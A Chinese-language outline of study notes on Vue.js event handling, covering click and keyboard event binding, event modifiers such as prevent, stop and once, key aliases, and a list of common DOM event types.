- 实例内部调用:
- 绑定:
- 不含参:
- 定义和引用:
- 点击事件@click
- 定义:
@click="method"
- 事件修饰符:
@click.stop="showInfo"
- ★ prevent:阻止默认事件
- 链接a的跳转:
<a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>
- 表单form的提交:
<form @submit.prevent="demo">
- 链接a的跳转:
- ★ stop:阻止冒泡,阻止事件向上冒泡,只触发当前方法,不触发包括它的元素身上绑定的方法,如
<div class="demo1" @click="showInfo"> <button @click.stop="showInfo">点我提示信息</button> </div>
- ★once:触发1次,事件只触发一次,再次触发不会有任何反应。
- capture:捕获模式,使得事件处理器在捕获模式下被触发,即事件处理函数会从外层向内层传播,先处理外层的点击事件,再处理内层的点击事件。
- self:只有事件处理函数event.target是当前操作的元素时才触发事件,即只有当点击当前元素,而不是它的子元素时,事件处理函数才会被触发。
- passive:立即执行,事件的默认行为立即执行,无需等待事件回调执行完毕。这告诉浏览器你不会调用preventDefault()来阻止默认事件行为,这可以提高滚动性能等场景的响应性。
- ★ prevent:阻止默认事件
- 键盘事件@keydown
- 定义:
@keydown="method"
- 按键修饰:
@keydown.xxx="method"
- 常用按键别名:
- 回车enter、退出esc、空格space、上 up、下down、左left、右right
- 删除delete (捕获“删除”和“退格”键)、换行tab (特殊,必须配合keydown去使用)
- 系统修饰键(用法特殊):ctrl、alt、shift、meta
- 配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
- 配合keydown使用:正常触发事件。
- Vue未提供别名的按键:
- 用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)
- 使用keyCode去指定具体的按键(不推荐)
- 定制按键别名(全局):
Vue.config.keyCodes.name = keycode
- 常用按键别名:
- 注意:
- 事件的回调需要配置在methods对象中,最终会在vm上;
- methods中配置的函数,不要用箭头函数!否则this就不是vm了;
- methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;
@click="demo"
和@click="demo($event)"
效果一致,但后者可以传参;
- 所有事件类型:
- 鼠标事件:
- click:用户点击元素。
- dblclick:用户双击元素。
- mousedown:用户按下鼠标按钮。
- mouseup:用户释放鼠标按钮。
- mousemove:鼠标在元素上移动。
- mouseover:鼠标移到一个元素上方。
- mouseout:鼠标从一个元素移开。
- mouseenter:鼠标进入元素边界(不冒泡)。
- mouseleave:鼠标离开元素边界(不冒泡)。
- 键盘事件:
- keydown:用户按下键盘上的任意键。
- keyup:用户释放键盘上的按键。
- keypress:字符键被按下(已废弃,不推荐使用)。
- 表单事件
- submit:表单提交。
- change:表单元素的内容改变。
- input:用户输入到、等元素时。
- focus:元素获得焦点。
- blur:元素失去焦点。
- 触摸事件
- touchstart:用户触摸屏幕。
- touchmove:用户在屏幕上滑动。
- touchend:用户停止触摸屏幕。
- touchcancel:系统取消触摸事件。
- 滚轮事件
- wheel:用户使用鼠标滚轮。
@wheel="func"
- wheel:用户使用鼠标滚轮。
- UI事件
- load:页面或图像加载完成。
- unload:用户离开页面。
- resize:浏览器窗口大小变化。
- scroll:滚动页面或元素。
- 进度事件
- progress:用于追踪资源加载过程(如、、XMLHttpRequest)的进度。
- 拖放事件
- drag:元素被拖动。
- dragstart:用户开始拖动元素。
- dragend:拖动操作结束。
- drop:拖动的元素或选中的文件被释放到目标区域。
- 动画和过渡事件
- transitionend:CSS过渡完成。
- animationstart:CSS动画开始。
- animationend:CSS动画结束。
- animationiteration:CSS动画重复播放时。